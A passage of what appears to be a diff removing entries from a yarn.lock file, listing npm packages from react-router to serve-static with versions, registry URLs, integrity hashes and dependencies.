"^15.6.2" - react-router "5.3.4" - tiny-invariant "^1.0.2" - tiny-warning "^1.0.0" - -react-router@5.3.4, react-router@^5.3.3: - version "5.3.4" - resolved "https://registry.yarnpkg.com/react-router/-/react-router-5.3.4.tgz#8ca252d70fcc37841e31473c7a151cf777887bb5" - integrity sha512-Ys9K+ppnJah3QuaRiLxk+jDWOR1MekYQrlytiXxC1RyfbdsZkS5pvKAzCCr031xHixZwpnsYNT5xysdFHQaYsA== - dependencies: - "@babel/runtime" "^7.12.13" - history "^4.9.0" - hoist-non-react-statics "^3.1.0" - loose-envify "^1.3.1" - path-to-regexp "^1.7.0" - prop-types "^15.6.2" - react-is "^16.6.0" - tiny-invariant "^1.0.2" - tiny-warning "^1.0.0" - -react-textarea-autosize@^8.3.2: - version "8.3.4" - resolved "https://registry.yarnpkg.com/react-textarea-autosize/-/react-textarea-autosize-8.3.4.tgz#270a343de7ad350534141b02c9cb78903e553524" - integrity sha512-CdtmP8Dc19xL8/R6sWvtknD/eCXkQr30dtvC4VmGInhRsfF8X/ihXCq6+9l9qbxmKRiq407/7z5fxE7cVWQNgQ== - dependencies: - "@babel/runtime" "^7.10.2" - use-composed-ref "^1.3.0" - use-latest "^1.2.1" - -react@^16.8.4: - version "16.14.0" - resolved "https://registry.yarnpkg.com/react/-/react-16.14.0.tgz#94d776ddd0aaa37da3eda8fc5b6b18a4c9a3114d" - integrity sha512-0X2CImDkJGApiAlcf0ODKIneSwBPhqJawOa5wCtKbu7ZECrmS26NvtSILynQ66cgkT/RJ4LidJOc3bUESwmU8g== - dependencies: - loose-envify "^1.1.0" - object-assign "^4.1.1" - prop-types "^15.6.2" - -readable-stream@^2.0.1: - version "2.3.7" - resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-2.3.7.tgz#1eca1cf711aef814c04f62252a36a62f6cb23b57" - integrity sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw== - dependencies: - core-util-is "~1.0.0" - inherits "~2.0.3" - isarray "~1.0.0" - process-nextick-args "~2.0.0" - safe-buffer "~5.1.1" - string_decoder "~1.1.1" - util-deprecate "~1.0.1" - -readable-stream@^3.0.6: - version "3.6.0" - resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-3.6.0.tgz#337bbda3adc0706bd3e024426a286d4b4b2c9198" - integrity sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA== - dependencies: - inherits "^2.0.3" - string_decoder "^1.1.1" - util-deprecate "^1.0.1" - -readdirp@~3.6.0: - version "3.6.0" - resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-3.6.0.tgz#74a370bd857116e245b29cc97340cd431a02a6c7" - integrity sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA== - dependencies: - picomatch "^2.2.1" - -reading-time@^1.2.0, reading-time@^1.5.0: - version "1.5.0" - resolved "https://registry.yarnpkg.com/reading-time/-/reading-time-1.5.0.tgz#d2a7f1b6057cb2e169beaf87113cc3411b5bc5bb" - integrity sha512-onYyVhBNr4CmAxFsKS7bz+uTLRakypIe4R+5A824vBSkQy/hB3fZepoVEf8OVAxzLvK+H/jm9TzpI3ETSm64Kg== - -rechoir@^0.6.2: - version "0.6.2" - resolved "https://registry.yarnpkg.com/rechoir/-/rechoir-0.6.2.tgz#85204b54dba82d5742e28c96756ef43af50e3384" - integrity sha512-HFM8rkZ+i3zrV+4LQjwQ0W+ez98pApMGM3HUrN04j3CqzPOzl9nmP15Y8YXNm8QHGv/eacOVEjqhmWpkRV0NAw== - dependencies: - resolve "^1.1.6" - -recursive-readdir@^2.2.2: - version "2.2.2" - resolved "https://registry.yarnpkg.com/recursive-readdir/-/recursive-readdir-2.2.2.tgz#9946fb3274e1628de6e36b2f6714953b4845094f" - integrity sha512-nRCcW9Sj7NuZwa2XvH9co8NPeXUBhZP7CRKJtU+cS6PW9FpCIFoI5ib0NT1ZrbNuPoRy0ylyCaUL8Gih4LSyFg== - dependencies: - minimatch "3.0.4" - -regenerate-unicode-properties@^10.0.1: - version "10.0.1" - resolved "https://registry.yarnpkg.com/regenerate-unicode-properties/-/regenerate-unicode-properties-10.0.1.tgz#7f442732aa7934a3740c779bb9b3340dccc1fb56" - integrity sha512-vn5DU6yg6h8hP/2OkQo3K7uVILvY4iu0oI4t3HFa81UPkhGJwkRwM10JEc3upjdhHjs/k8GJY1sRBhk5sr69Bw== - dependencies: - regenerate "^1.4.2" - -regenerate@^1.4.2: - version "1.4.2" - resolved "https://registry.yarnpkg.com/regenerate/-/regenerate-1.4.2.tgz#b9346d8827e8f5a32f7ba29637d398b69014848a" - integrity sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A== - -regenerator-runtime@^0.13.10: - version "0.13.11" - resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz#f6dca3e7ceec20590d07ada785636a90cdca17f9" - integrity sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg== - -regenerator-runtime@^0.13.4: - version "0.13.9" - resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.13.9.tgz#8925742a98ffd90814988d7566ad30ca3b263b52" - integrity sha512-p3VT+cOEgxFsRRA9X4lkI1E+k2/CtnKtU4gcxyaCUreilL/vqI6CdZ3wxVUx3UOUg+gnUOQQcRI7BmSI656MYA== - -regenerator-transform@^0.15.0: - version "0.15.0" - resolved "https://registry.yarnpkg.com/regenerator-transform/-/regenerator-transform-0.15.0.tgz#cbd9ead5d77fae1a48d957cf889ad0586adb6537" - integrity sha512-LsrGtPmbYg19bcPHwdtmXwbW+TqNvtY4riE3P83foeHRroMbH6/2ddFBfab3t7kbzc7v7p4wbkIecHImqt0QNg== - dependencies: - "@babel/runtime" "^7.8.4" - -regexpu-core@^5.1.0: - version "5.1.0" - resolved "https://registry.yarnpkg.com/regexpu-core/-/regexpu-core-5.1.0.tgz#2f8504c3fd0ebe11215783a41541e21c79942c6d" - integrity sha512-bb6hk+xWd2PEOkj5It46A16zFMs2mv86Iwpdu94la4S3sJ7C973h2dHpYKwIBGaWSO7cIRJ+UX0IeMaWcO4qwA== - dependencies: - regenerate "^1.4.2" - regenerate-unicode-properties "^10.0.1" - regjsgen "^0.6.0" - regjsparser "^0.8.2" - unicode-match-property-ecmascript "^2.0.0" - unicode-match-property-value-ecmascript "^2.0.0" - -registry-auth-token@^4.0.0: - version "4.2.2" - resolved "https://registry.yarnpkg.com/registry-auth-token/-/registry-auth-token-4.2.2.tgz#f02d49c3668884612ca031419491a13539e21fac" - integrity sha512-PC5ZysNb42zpFME6D/XlIgtNGdTl8bBOCw90xQLVMpzuuubJKYDWFAEuUNc+Cn8Z8724tg2SDhDRrkVEsqfDMg== - dependencies: - rc "1.2.8" - -registry-url@^5.0.0: - version "5.1.0" - resolved "https://registry.yarnpkg.com/registry-url/-/registry-url-5.1.0.tgz#e98334b50d5434b81136b44ec638d9c2009c5009" - integrity sha512-8acYXXTI0AkQv6RAOjE3vOaIXZkT9wo4LOFbBKYQEEnnMNBpKqdUrI6S4NT0KPIo/WVvJ5tE/X5LF/TQUf0ekw== - dependencies: - rc "^1.2.8" - -regjsgen@^0.6.0: - version "0.6.0" - resolved "https://registry.yarnpkg.com/regjsgen/-/regjsgen-0.6.0.tgz#83414c5354afd7d6627b16af5f10f41c4e71808d" - integrity sha512-ozE883Uigtqj3bx7OhL1KNbCzGyW2NQZPl6Hs09WTvCuZD5sTI4JY58bkbQWa/Y9hxIsvJ3M8Nbf7j54IqeZbA== - -regjsparser@^0.8.2: - version "0.8.4" - resolved "https://registry.yarnpkg.com/regjsparser/-/regjsparser-0.8.4.tgz#8a14285ffcc5de78c5b95d62bbf413b6bc132d5f" - integrity sha512-J3LABycON/VNEu3abOviqGHuB/LOtOQj8SKmfP9anY5GfAVw/SPjwzSjxGjbZXIxbGfqTHtJw58C2Li/WkStmA== - dependencies: - jsesc "~0.5.0" - -rehype-katex@4: - version "4.0.0" - resolved "https://registry.yarnpkg.com/rehype-katex/-/rehype-katex-4.0.0.tgz#ce11a5db0bff014350e7a9cfd30147d314b14330" - integrity sha512-0mgBqYugQyIW0eUl6RDOZ28Cat2YzrnWGaYgKCMQnJw6ClmKgLqXBnkDAPGh2mwxvkkKwQOUMUpSLpA5rt7rzA== - dependencies: - "@types/katex" "^0.11.0" - hast-util-to-text "^2.0.0" - katex "^0.12.0" - rehype-parse "^7.0.0" - unified "^9.0.0" - unist-util-visit "^2.0.0" - -rehype-parse@^7.0.0: - version "7.0.1" - resolved "https://registry.yarnpkg.com/rehype-parse/-/rehype-parse-7.0.1.tgz#58900f6702b56767814afc2a9efa2d42b1c90c57" - integrity sha512-fOiR9a9xH+Le19i4fGzIEowAbwG7idy2Jzs4mOrFWBSJ0sNUgy0ev871dwWnbOo371SjgjG4pwzrbgSVrKxecw== - dependencies: - hast-util-from-parse5 "^6.0.0" - parse5 "^6.0.0" - -relateurl@^0.2.7: - version "0.2.7" - resolved "https://registry.yarnpkg.com/relateurl/-/relateurl-0.2.7.tgz#54dbf377e51440aca90a4cd274600d3ff2d888a9" - integrity sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog== - -remark-emoji@^2.2.0: - version "2.2.0" - resolved "https://registry.yarnpkg.com/remark-emoji/-/remark-emoji-2.2.0.tgz#1c702090a1525da5b80e15a8f963ef2c8236cac7" - integrity sha512-P3cj9s5ggsUvWw5fS2uzCHJMGuXYRb0NnZqYlNecewXt8QBU9n5vW3DUUKOhepS8F9CwdMx9B8a3i7pqFWAI5w== - dependencies: - emoticon "^3.2.0" - node-emoji "^1.10.0" - unist-util-visit "^2.0.3" - -remark-footnotes@2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/remark-footnotes/-/remark-footnotes-2.0.0.tgz#9001c4c2ffebba55695d2dd80ffb8b82f7e6303f" - integrity sha512-3Clt8ZMH75Ayjp9q4CorNeyjwIxHFcTkaektplKGl2A1jNGEUey8cKL0ZC5vJwfcD5GFGsNLImLG/NGzWIzoMQ== - -remark-math@3: - version "3.0.1" - resolved "https://registry.yarnpkg.com/remark-math/-/remark-math-3.0.1.tgz#85a02a15b15cad34b89a27244d4887b3a95185bb" - integrity sha512-epT77R/HK0x7NqrWHdSV75uNLwn8g9qTyMqCRCDujL0vj/6T6+yhdrR7mjELWtkse+Fw02kijAaBuVcHBor1+Q== - -remark-mdx@1.6.22: - version "1.6.22" - resolved "https://registry.yarnpkg.com/remark-mdx/-/remark-mdx-1.6.22.tgz#06a8dab07dcfdd57f3373af7f86bd0e992108bbd" - integrity sha512-phMHBJgeV76uyFkH4rvzCftLfKCr2RZuF+/gmVcaKrpsihyzmhXjA0BEMDaPTXG5y8qZOKPVo83NAOX01LPnOQ== - dependencies: - "@babel/core" "7.12.9" - "@babel/helper-plugin-utils" "7.10.4" - "@babel/plugin-proposal-object-rest-spread" "7.12.1" - "@babel/plugin-syntax-jsx" "7.12.1" - "@mdx-js/util" "1.6.22" - is-alphabetical "1.0.4" - remark-parse "8.0.3" - unified "9.2.0" - -remark-parse@8.0.3: - version "8.0.3" - resolved "https://registry.yarnpkg.com/remark-parse/-/remark-parse-8.0.3.tgz#9c62aa3b35b79a486454c690472906075f40c7e1" - integrity sha512-E1K9+QLGgggHxCQtLt++uXltxEprmWzNfg+MxpfHsZlrddKzZ/hZyWHDbK3/Ap8HJQqYJRXP+jHczdL6q6i85Q== - dependencies: - ccount "^1.0.0" - collapse-white-space "^1.0.2" - is-alphabetical "^1.0.0" - is-decimal "^1.0.0" - is-whitespace-character "^1.0.0" - is-word-character "^1.0.0" - markdown-escapes "^1.0.0" - parse-entities "^2.0.0" - repeat-string "^1.5.4" - state-toggle "^1.0.0" - trim "0.0.1" - trim-trailing-lines "^1.0.0" - unherit "^1.0.4" - unist-util-remove-position "^2.0.0" - vfile-location "^3.0.0" - xtend "^4.0.1" - -remark-squeeze-paragraphs@4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/remark-squeeze-paragraphs/-/remark-squeeze-paragraphs-4.0.0.tgz#76eb0e085295131c84748c8e43810159c5653ead" - integrity sha512-8qRqmL9F4nuLPIgl92XUuxI3pFxize+F1H0e/W3llTk0UsjJaj01+RrirkMw7P21RKe4X6goQhYRSvNWX+70Rw== - dependencies: - mdast-squeeze-paragraphs "^4.0.0" - -renderkid@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/renderkid/-/renderkid-3.0.0.tgz#5fd823e4d6951d37358ecc9a58b1f06836b6268a" - integrity sha512-q/7VIQA8lmM1hF+jn+sFSPWGlMkSAeNYcPLmDQx2zzuiDfaLrOmumR8iaUKlenFgh0XRPIUeSPlH3A+AW3Z5pg== - dependencies: - css-select "^4.1.3" - dom-converter "^0.2.0" - htmlparser2 "^6.1.0" - lodash "^4.17.21" - strip-ansi "^6.0.1" - -repeat-string@^1.0.0, repeat-string@^1.5.4: - version "1.6.1" - resolved "https://registry.yarnpkg.com/repeat-string/-/repeat-string-1.6.1.tgz#8dcae470e1c88abc2d600fff4a776286da75e637" - integrity sha512-PV0dzCYDNfRi1jCDbJzpW7jNNDRuCOG/jI5ctQcGKt/clZD+YcPS3yIlWuTJMmESC8aevCFmWJy5wjAFgNqN6w== - -require-from-string@^2.0.2: - version "2.0.2" - resolved "https://registry.yarnpkg.com/require-from-string/-/require-from-string-2.0.2.tgz#89a7fdd938261267318eafe14f9c32e598c36909" - integrity sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw== - -"require-like@>= 0.1.1": - version "0.1.2" - resolved "https://registry.yarnpkg.com/require-like/-/require-like-0.1.2.tgz#ad6f30c13becd797010c468afa775c0c0a6b47fa" - integrity sha512-oyrU88skkMtDdauHDuKVrgR+zuItqr6/c//FXzvmxRGMexSDc6hNvJInGW3LL46n+8b50RykrvwSUIIQH2LQ5A== - -requires-port@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/requires-port/-/requires-port-1.0.0.tgz#925d2601d39ac485e091cf0da5c6e694dc3dcaff" - integrity sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ== - -resolve-alpn@^1.0.0: - version "1.2.1" - resolved "https://registry.yarnpkg.com/resolve-alpn/-/resolve-alpn-1.2.1.tgz#b7adbdac3546aaaec20b45e7d8265927072726f9" - integrity sha512-0a1F4l73/ZFZOakJnQ3FvkJ2+gSTQWz/r2KE5OdDY0TxPm5h4GkqkWWfM47T7HsbnOtcJVEF4epCVy6u7Q3K+g== - -resolve-from@^4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-4.0.0.tgz#4abcd852ad32dd7baabfe9b40e00a36db5f392e6" - integrity sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g== - -resolve-pathname@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/resolve-pathname/-/resolve-pathname-3.0.0.tgz#99d02224d3cf263689becbb393bc560313025dcd" - integrity sha512-C7rARubxI8bXFNB/hqcp/4iUeIXJhJZvFPFPiSPRnhU5UPxzMFIl+2E6yY6c4k9giDJAhtV+enfA+G89N6Csng== - -resolve@^1.1.6, resolve@^1.14.2, resolve@^1.3.2: - version "1.22.1" - resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.22.1.tgz#27cb2ebb53f91abb49470a928bba7558066ac177" - integrity sha512-nBpuuYuY5jFsli/JIs1oldw6fOQCBioohqWZg/2hiaOybXOft4lonv85uDOKXdf8rhyK159cxU5cDcK/NKk8zw== - dependencies: - is-core-module "^2.9.0" - path-parse "^1.0.7" - supports-preserve-symlinks-flag "^1.0.0" - -responselike@^2.0.0: - version "2.0.1" - resolved "https://registry.yarnpkg.com/responselike/-/responselike-2.0.1.tgz#9a0bc8fdc252f3fb1cca68b016591059ba1422bc" - integrity sha512-4gl03wn3hj1HP3yzgdI7d3lCkF95F21Pz4BPGvKHinyQzALR5CapwC8yIi0Rh58DEMQ/SguC03wFj2k0M/mHhw== - dependencies: - lowercase-keys "^2.0.0" - -retry@^0.13.1: - version "0.13.1" - resolved "https://registry.yarnpkg.com/retry/-/retry-0.13.1.tgz#185b1587acf67919d63b357349e03537b2484658" - integrity sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg== - -reusify@^1.0.4: - version "1.0.4" - resolved "https://registry.yarnpkg.com/reusify/-/reusify-1.0.4.tgz#90da382b1e126efc02146e90845a88db12925d76" - integrity sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw== - -rimraf@^3.0.2: - version "3.0.2" - resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-3.0.2.tgz#f1a5402ba6220ad52cc1282bac1ae3aa49fd061a" - integrity sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA== - dependencies: - glob "^7.1.3" - -rtl-detect@^1.0.4: - version "1.0.4" - resolved "https://registry.yarnpkg.com/rtl-detect/-/rtl-detect-1.0.4.tgz#40ae0ea7302a150b96bc75af7d749607392ecac6" - integrity sha512-EBR4I2VDSSYr7PkBmFy04uhycIpDKp+21p/jARYXlCSjQksTBQcJ0HFUPOO79EPPH5JS6VAhiIQbycf0O3JAxQ== - -rtlcss@^3.5.0: - version "3.5.0" - resolved "https://registry.yarnpkg.com/rtlcss/-/rtlcss-3.5.0.tgz#c9eb91269827a102bac7ae3115dd5d049de636c3" - integrity sha512-wzgMaMFHQTnyi9YOwsx9LjOxYXJPzS8sYnFaKm6R5ysvTkwzHiB0vxnbHwchHQT65PTdBjDG21/kQBWI7q9O7A== - dependencies: - find-up "^5.0.0" - picocolors "^1.0.0" - postcss "^8.3.11" - strip-json-comments "^3.1.1" - -run-parallel@^1.1.9: - version "1.2.0" - resolved "https://registry.yarnpkg.com/run-parallel/-/run-parallel-1.2.0.tgz#66d1368da7bdf921eb9d95bd1a9229e7f21a43ee" - integrity sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA== - dependencies: - queue-microtask "^1.2.2" - -rxjs@^7.5.4: - version "7.5.6" - resolved "https://registry.yarnpkg.com/rxjs/-/rxjs-7.5.6.tgz#0446577557862afd6903517ce7cae79ecb9662bc" - integrity sha512-dnyv2/YsXhnm461G+R/Pe5bWP41Nm6LBXEYWI6eiFP4fiwx6WRI/CD0zbdVAudd9xwLEF2IDcKXLHit0FYjUzw== - dependencies: - tslib "^2.1.0" - -safe-buffer@5.1.2, safe-buffer@~5.1.0, safe-buffer@~5.1.1: - version "5.1.2" - resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d" - integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g== - -safe-buffer@5.2.1, safe-buffer@>=5.1.0, safe-buffer@^5.1.0, safe-buffer@~5.2.0: - version "5.2.1" - resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6" - integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ== - -"safer-buffer@>= 2.1.2 < 3": - version "2.1.2" - resolved "https://registry.yarnpkg.com/safer-buffer/-/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a" - integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg== - -sax@^1.2.4: - version "1.2.4" - resolved "https://registry.yarnpkg.com/sax/-/sax-1.2.4.tgz#2816234e2378bddc4e5354fab5caa895df7100d9" - integrity sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw== - -sax@^1.5.0: - version "1.5.0" - resolved "https://registry.yarnpkg.com/sax/-/sax-1.5.0.tgz#b5549b671069b7aa392df55ec7574cf411179eb8" - integrity sha512-21IYA3Q5cQf089Z6tgaUTr7lDAyzoTPx5HRtbhsME8Udispad8dC/+sziTNugOEx54ilvatQ9YCzl4KQLPcRHA== - -scheduler@^0.19.1: - version "0.19.1" - resolved "https://registry.yarnpkg.com/scheduler/-/scheduler-0.19.1.tgz#4f3e2ed2c1a7d65681f4c854fa8c5a1ccb40f196" - integrity sha512-n/zwRWRYSUj0/3g/otKDRPMh6qv2SYMWNq85IEa8iZyAv8od9zDYpGSnpBEjNgcMNq6Scbu5KfIPxNF72R/2EA== - dependencies: - loose-envify "^1.1.0" - object-assign "^4.1.1" - -schema-utils@2.7.0: - version "2.7.0" - resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-2.7.0.tgz#17151f76d8eae67fbbf77960c33c676ad9f4efc7" - integrity sha512-0ilKFI6QQF5nxDZLFn2dMjvc4hjg/Wkg7rHd3jK6/A4a1Hl9VFdQWvgB1UMGoU94pad1P/8N7fMcEnLnSiju8A== - dependencies: - "@types/json-schema" "^7.0.4" - ajv "^6.12.2" - ajv-keywords "^3.4.1" - -schema-utils@^2.6.5: - version "2.7.1" - resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-2.7.1.tgz#1ca4f32d1b24c590c203b8e7a50bf0ea4cd394d7" - integrity sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg== - dependencies: - "@types/json-schema" "^7.0.5" - ajv "^6.12.4" - ajv-keywords "^3.5.2" - -schema-utils@^3.0.0, schema-utils@^3.1.0, schema-utils@^3.1.1: - version "3.1.1" - resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-3.1.1.tgz#bc74c4b6b6995c1d88f76a8b77bea7219e0c8281" - integrity sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw== - dependencies: - "@types/json-schema" "^7.0.8" - ajv "^6.12.5" - ajv-keywords "^3.5.2" - -schema-utils@^4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-4.0.0.tgz#60331e9e3ae78ec5d16353c467c34b3a0a1d3df7" - integrity sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg== - dependencies: - "@types/json-schema" "^7.0.9" - ajv "^8.8.0" - ajv-formats "^2.1.1" - ajv-keywords "^5.0.0" - -section-matter@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/section-matter/-/section-matter-1.0.0.tgz#e9041953506780ec01d59f292a19c7b850b84167" - integrity sha512-vfD3pmTzGpufjScBh50YHKzEu2lxBWhVEHsNGoEXmCmn2hKGfeNLYMzCJpe8cD7gqX7TJluOVpBkAequ6dgMmA== - dependencies: - extend-shallow "^2.0.1" - kind-of "^6.0.0" - -select-hose@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/select-hose/-/select-hose-2.0.0.tgz#625d8658f865af43ec962bfc376a37359a4994ca" - integrity sha512-mEugaLK+YfkijB4fx0e6kImuJdCIt2LxCRcbEYPqRGCs4F2ogyfZU5IAZRdjCP8JPq2AtdNoC/Dux63d9Kiryg== - -selfsigned@^2.1.1: - version "2.1.1" - resolved "https://registry.yarnpkg.com/selfsigned/-/selfsigned-2.1.1.tgz#18a7613d714c0cd3385c48af0075abf3f266af61" - integrity sha512-GSL3aowiF7wa/WtSFwnUrludWFoNhftq8bUkH9pkzjpN2XSPOAYEgg6e0sS9s0rZwgJzJiQRPU18A6clnoW5wQ== - dependencies: - node-forge "^1" - -semver-diff@^3.1.1: - version "3.1.1" - resolved "https://registry.yarnpkg.com/semver-diff/-/semver-diff-3.1.1.tgz#05f77ce59f325e00e2706afd67bb506ddb1ca32b" - integrity sha512-GX0Ix/CJcHyB8c4ykpHGIAvLyOwOobtM/8d+TQkAd81/bEjgPHrfba41Vpesr7jX/t8Uh+R3EX9eAS5be+jQYg== - dependencies: - semver "^6.3.0" - -semver@7.0.0: - version "7.0.0" - resolved "https://registry.yarnpkg.com/semver/-/semver-7.0.0.tgz#5f3ca35761e47e05b206c6daff2cf814f0316b8e" - integrity sha512-+GB6zVA9LWh6zovYQLALHwv5rb2PHGlJi3lfiqIHxR0uuwCgefcOJc59v9fv1w8GbStwxuuqqAjI9NMAOOgq1A== - -semver@^5.4.1: - version "5.7.2" - resolved "https://registry.yarnpkg.com/semver/-/semver-5.7.2.tgz#48d55db737c3287cd4835e17fa13feace1c41ef8" - integrity sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g== - -semver@^6.0.0, semver@^6.1.1, semver@^6.1.2, semver@^6.2.0, semver@^6.3.0: - version "6.3.1" - resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.1.tgz#556d2ef8689146e46dcea4bfdd095f3434dffcb4" - integrity sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA== - -semver@^7.3.2, semver@^7.3.4, semver@^7.3.5, semver@^7.3.7: - version "7.5.4" - resolved "https://registry.yarnpkg.com/semver/-/semver-7.5.4.tgz#483986ec4ed38e1c6c48c34894a9182dbff68a6e" - integrity sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA== - dependencies: - lru-cache "^6.0.0" - -send@0.18.0: - version "0.18.0" - resolved "https://registry.yarnpkg.com/send/-/send-0.18.0.tgz#670167cc654b05f5aa4a767f9113bb371bc706be" - integrity sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg== - dependencies: - debug "2.6.9" - depd "2.0.0" - destroy "1.2.0" - encodeurl "~1.0.2" - escape-html "~1.0.3" - etag "~1.8.1" - fresh "0.5.2" - http-errors "2.0.0" - mime "1.6.0" - ms "2.1.3" - on-finished "2.4.1" - range-parser "~1.2.1" - statuses "2.0.1" - -serialize-javascript@^6.0.0: - version "6.0.0" - resolved "https://registry.yarnpkg.com/serialize-javascript/-/serialize-javascript-6.0.0.tgz#efae5d88f45d7924141da8b5c3a7a7e663fefeb8" - integrity sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag== - dependencies: - randombytes "^2.1.0" - -serve-handler@^6.1.3: - version "6.1.3" - resolved "https://registry.yarnpkg.com/serve-handler/-/serve-handler-6.1.3.tgz#1bf8c5ae138712af55c758477533b9117f6435e8" - integrity sha512-FosMqFBNrLyeiIDvP1zgO6YoTzFYHxLDEIavhlmQ+knB2Z7l1t+kGLHkZIDN7UVWqQAmKI3D20A6F6jo3nDd4w== - dependencies: - bytes "3.0.0" - content-disposition "0.5.2" - fast-url-parser "1.1.3" - mime-types "2.1.18" - minimatch "3.0.4" - path-is-inside "1.0.2" - path-to-regexp "2.2.1" - range-parser "1.2.0" - -serve-index@^1.9.1: - version "1.9.1" - resolved "https://registry.yarnpkg.com/serve-index/-/serve-index-1.9.1.tgz#d3768d69b1e7d82e5ce050fff5b453bea12a9239" - integrity sha512-pXHfKNP4qujrtteMrSBb0rc8HJ9Ms/GrXwcUtUtD5s4ewDJI8bT3Cz2zTVRMKtri49pLx2e0Ya8ziP5Ya2pZZw== - dependencies: - accepts "~1.3.4" - batch "0.6.1" - debug "2.6.9" - escape-html "~1.0.3" - http-errors "~1.6.2" - mime-types "~2.1.17" - parseurl "~1.3.2" - -serve-static@1.15.0: - version "1.15.0" - resolved "https://registry.yarnpkg.com/serve-static/-/serve-static-1.15.0.tgz#faaef08cffe0a1a62f60cad0c4e513cff0ac9540" - integrity 